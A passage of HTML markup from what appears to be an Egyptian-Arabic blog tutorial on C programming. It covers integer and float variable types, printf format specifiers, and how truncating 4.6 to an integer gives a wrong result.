<!--[if !supportLists]--><span style="color: #ff6600; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG">هنا هتبتدي اللغه تفهم انه فيه متغير داخلها علي انه رقم صحيح . <o:p></o:p></span></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590">
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: red; mso-bidi-language: AR-EG;">ملحوظه : في
الاله الحاسبه بيبقي مدي الارقام بتاعتها </span><span dir="LTR" style="color: red; mso-bidi-language: AR-EG;">digit-8 </span><span dir="RTL"></span><span lang="AR-EG" style="color: red; mso-bidi-language: AR-EG;"><span dir="RTL"></span> وبتتعامل مع الارقام من 99999999 الي<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: red; mso-bidi-language: AR-EG;"> - 99999999 ولو جربت تعمل مثلا 99999999+1
هتلاقي الاله الحاسبه جابت </span><span dir="LTR" style="color: red; mso-bidi-language: AR-EG;">overflow error </span><span dir="RTL"></span><span lang="AR-EG" style="color: red; mso-bidi-language: AR-EG;"><span dir="RTL"></span> نفس الكلام مع الحاسب له مدي يقبل فيه
المتغيرات دي وبتختلف طبعا من حاسب لحاسب ومن نظام لنظام ولكن عشان نتكلم اكتر
في الانظمه 32-</span><span dir="LTR" style="color: red; mso-bidi-language: AR-EG;">bit</span><span dir="RTL"></span><span lang="AR-EG" style="color: red; mso-bidi-language: AR-EG;"><span dir="RTL"></span> بيبقي مدي نوع المتغير </span><span dir="LTR" style="color: red; mso-bidi-language: AR-EG;">integer </span><span dir="RTL"></span><span style="color: red; mso-bidi-language: AR-EG;"><span dir="RTL"></span> </span><span dir="LTR"></span><span dir="LTR" style="color: red; mso-bidi-language: AR-EG;"><span dir="LTR"></span>- </span><span dir="RTL"></span><span lang="AR-EG" style="color: red; mso-bidi-language: AR-EG;"><span dir="RTL"></span> 4 بايت يعني 32 بت .</span><span lang="AR-EG"> <o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG">مثال عشان اعرف رقم ما او متغير هعرفه علي انه رقم صحيح : <o:p></o:p></span></span></div>
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" style="border-collapse: collapse; border: none; margin-left: 21.0pt; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 421.8pt;" valign="top" width="562">
<div class="MsoNormal" style="margin-left: 21.0pt; mso-list: l0 level1 lfo1; tab-stops: list 21.0pt; text-indent: -.25in;">
<!--[if !supportLists]--><span style="color: #ff6600; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="LTR">Int total;<o:p></o:p></span></div>
<div class="MsoNormal" style="margin-left: 21.0pt; mso-list: l0 level1 lfo1; tab-stops: list 21.0pt; text-indent: -.25in;">
<!--[if !supportLists]--><span style="color: #ff6600; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="LTR">Total = 4502;<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<b><span lang="AR-EG" style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">استدعاء المتغير : </span></b><span lang="AR-EG" style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">لغة الـ </span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">C </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> دائما منظمه وبالتالي لو محتاجين اننا نستدعي
متغير ما لازم نشير الي المتغير دا ونوعه ايضا . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">مثال : دلوقتي انا هكتب كود بسيط عشان يحسب ضعف
رقم معين ويطبعه علي الشاشه . </span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><o:p></o:p></span></div>
<div class="MsoNormal">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590">
<div class="MsoNormal" dir="LTR">
<span dir="RTL" lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">#</span><span style="font-size: 14.0pt; mso-bidi-language: AR-EG;">include<stdio.h<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span>></span><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<br /></div>
<div class="MsoNormal" dir="LTR">
<span style="font-size: 14.0pt; mso-bidi-language: AR-EG;">int main<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span>(){</span><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="RTL"></span><span dir="RTL" lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> </span><span style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="RTL"></span><span dir="RTL" lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> </span><span style="font-size: 14.0pt; mso-bidi-language: AR-EG;">int number<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span>;</span><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="RTL"></span><span dir="RTL" lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> </span><span style="font-size: 14.0pt; mso-bidi-language: AR-EG;">int result<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span>;</span><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="RTL"></span><span dir="RTL" lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> </span><span style="font-size: 14.0pt; mso-bidi-language: AR-EG;">number = 45<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span>;</span><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="RTL"></span><span dir="RTL" lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> </span><span style="font-size: 14.0pt; mso-bidi-language: AR-EG;">result = 45 * 2<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span> ;</span><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="RTL"></span><span dir="RTL" lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> </span><span style="font-size: 14.0pt; mso-bidi-language: AR-EG;">printf("Your number %d and it's twice is %d
", number , result<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span>);</span><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="RTL"></span><span dir="RTL" lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> </span><span style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="RTL"></span><span dir="RTL" lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> </span><span style="font-size: 14.0pt; mso-bidi-language: AR-EG;">getch<span dir="RTL"></span><span dir="RTL" lang="AR-EG"><span dir="RTL"></span>();</span><o:p></o:p></span></div>
<div class="MsoNormal" dir="LTR">
<span dir="RTL"></span><span dir="RTL" lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> }</span><span style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-oz3jJuEdGVk/T-e9kvumzGI/AAAAAAAAAUc/JLDCHaE5dtY/s1600/twice.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="348" src="http://2.bp.blogspot.com/-oz3jJuEdGVk/T-e9kvumzGI/AAAAAAAAAUc/JLDCHaE5dtY/s640/twice.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span style="font-size: 19px;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">طيب
البرنامج دا مجرد بياخد متغير علي انه رقم صحيح وليكن 45 مثل ما في المثال و متغير
اخر اللي هو </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">result</span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> ودا هيستجل فيه النتيجه
بتاعة ضعف الرقم . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">اما بالنسبه لامر الطباعه ففي شئ غريب !! –
مامعني </span></span><span dir="LTR"></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="LTR"></span>%d </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> - ؟؟ -
دي بتشير الي المتغيرات اللي هيتم طباعتها وطبعا كل نوع متغير وله رمز اشاره يعني
مثلا في المتغير اللي نوعه </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">integer </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> بنشير اليه بالرمز </span><span dir="LTR"></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="LTR"></span>%d
</span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> طيب لو شغلنا البرنامج ونشوف النتيجه . </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-BY3rAvy8xd4/T-e9j6z9MXI/AAAAAAAAAUQ/4XfaRgguP4w/s1600/result.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="http://3.bp.blogspot.com/-BY3rAvy8xd4/T-e9j6z9MXI/AAAAAAAAAUQ/4XfaRgguP4w/s640/result.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span style="font-size: 19px;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">كتب </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">Your number is 45 and
it’s twice is 90 </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> معني ذلك انه مكان الرموز </span><span dir="LTR"></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="LTR"></span>%d</span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> بيطبع المتغيرات واحنا اللي بنحددله المتغيرات اللي يطبعها لانه
في الكود بتاعنا . <o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-Vpx-iVK_9SA/T-e9hhR8ImI/AAAAAAAAAUE/4fm6hOHOQzI/s1600/printf.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="14" src="http://2.bp.blogspot.com/-Vpx-iVK_9SA/T-e9hhR8ImI/AAAAAAAAAUE/4fm6hOHOQzI/s640/printf.jpg" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span style="font-size: 19px;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">كتبنا
اسماء المتغيرات بعد الجمله اللي هيطبعها بالترتيب وبعد العلامه الفاصله </span><span dir="LTR"></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="LTR"></span>, </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> ومسافه . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-xMvQp0wSH-4/T-e9ioUjLDI/AAAAAAAAAUI/UnnUGoe9I20/s1600/printf_call.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="254" src="http://3.bp.blogspot.com/-xMvQp0wSH-4/T-e9ioUjLDI/AAAAAAAAAUI/UnnUGoe9I20/s640/printf_call.jpg" width="640" /></a></div>
<div align="center" class="MsoNormal" dir="RTL" style="direction: rtl; text-align: center; unicode-bidi: embed;">
<span style="font-size: 19px;"><br /></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">الصوره
بالاعلي للتوضيح كيف يتم استدعاء المتغيرات ولكن بالمرجع كان عامل المتغير اسمه </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">term </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<b><span lang="AR-EG" style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">ثاني نوع : </span></b><b><span dir="LTR" style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">Float types <o:p></o:p></span></b></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"> </span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">وهو بيشير للاعداد الغير صحيحه مثلا : 4.6 – 8.6 –
9.7 – 7.2 وهكذا وبالتالي لو عايز تدخل للبرنامج ارقام فيها كسور مستحيل تعرفها
علي انها </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">integer
</span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> لازم تكون </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">float </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> .<o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">بيتم تعريف المتغير من خلال </span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">float variable ; </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> ومكان الـ </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">variable </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> ممكن نكتب المتغير بتاعنا
زي ما احنا عايزين . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">مثلا لو عايزين نعرف متغير بيحتوي علي الرقم 4.6 </span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">هيبقي الكود كالتالي : </span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590">
<div class="MsoNormal" style="direction: ltr;">
<span style="font-size: 14.0pt; mso-bidi-language: AR-EG;">Float
number;<o:p></o:p></span></div>
<div class="MsoNormal" style="direction: ltr;">
<span style="font-size: 14.0pt; mso-bidi-language: AR-EG;">Number
= 4.6;<o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">طيب لو محتاجين نطبع رقم غير صحيح . يعني مثل الـ
</span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">integer
</span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> كنا بنشير اليها من خلال </span><span dir="LTR"></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="LTR"></span>%d
</span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> اما من هذا النوع فاننا بنشير له من خلال </span><span dir="LTR"></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="LTR"></span>%f </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> . <o:p></o:p></span></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-l7SxhlrktdA/T-e9fnd-B3I/AAAAAAAAATw/YQZ5SeIWloU/s1600/float.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="http://1.bp.blogspot.com/-l7SxhlrktdA/T-e9fnd-B3I/AAAAAAAAATw/YQZ5SeIWloU/s640/float.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">طيب هنكتب نفس المثال السابق الخاص بالـ </span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">integer </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> ولكن باعداد كسريه يعني
هنكتب مثلا برنامج يطبع ضعف رقم 4.6 .</span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">هو نفسه المثال الخاص بالـ </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">integer </span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">ولكني غيرت تعريف
المتغيرات . </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">طيب تجربه بسيطه كده لو حاولنا اننا نعرف الـرقم
الكسر علي انه عدد صحيح وخليناه </span></span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">integer </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> الناتج ممكن يكون ايه ؟؟ . <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-HJTgcPU0CSo/T-e9gYrdNfI/AAAAAAAAAT4/8pi0P2CU7Zs/s1600/integer_error.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="360" src="http://1.bp.blogspot.com/-HJTgcPU0CSo/T-e9gYrdNfI/AAAAAAAAAT4/8pi0P2CU7Zs/s640/integer_error.png" width="640" /></a></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;"> </span></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; margin-right: 21pt; text-indent: -0.25in; unicode-bidi: embed;">
<!--[if !supportLists]--><span style="color: #ff6600; font-size: 14.0pt; mso-bidi-language: AR-EG;">-<span style="font-size: 7pt;">
</span></span><!--[endif]--><span dir="RTL"><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">هنلاحظ انه ما اخدش الكسر اللي هو 0.6</span></span><span dir="LTR"></span><span dir="LTR" lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="LTR"></span> </span><span dir="RTL"></span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> وكتب 4 بس وجاب الضعف بتاعها 8 فقط . </span><span dir="LTR" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"><o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div align="right">
<table border="1" cellpadding="0" cellspacing="0" class="MsoTableGrid" dir="rtl" style="border-collapse: collapse; border: none; mso-border-alt: solid windowtext .5pt; mso-border-insideh: .5pt solid windowtext; mso-border-insidev: .5pt solid windowtext; mso-padding-alt: 0in 5.4pt 0in 5.4pt; mso-table-dir: bidi; mso-yfti-tbllook: 480;">
<tbody>
<tr>
<td style="border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 6.15in;" valign="top" width="590">
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: red; font-size: 14.0pt; mso-bidi-language: AR-EG;">ملحوظه هوا دا بقي الـ </span><span dir="LTR" style="color: red; font-size: 14.0pt; mso-bidi-language: AR-EG;">semantic error </span><span dir="RTL"></span><span lang="AR-EG" style="color: red; font-size: 14.0pt; mso-bidi-language: AR-EG;"><span dir="RTL"></span> اللي اتكلمت عليه في
الدرس التاني . يعني يبقي المبرمج <o:p></o:p></span></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; text-align: right; unicode-bidi: embed;">
<span lang="AR-EG" style="color: red; font-size: 14.0pt; mso-bidi-language: AR-EG;">كاتب البرنامج صح وميظهرش معاه اي اخطاء ولكن النتيجه بتكون متغيره تماما
عما يريده</span><span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;"> <o:p></o:p></span></div>
</td>
</tr>
</tbody></table>
</div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<br /></div>
<div class="MsoNormal" dir="RTL" style="direction: rtl; unicode-bidi: embed;">
<span lang="AR-EG" style="font-size: 14.0pt; mso-bidi-language: AR-EG;">فيه
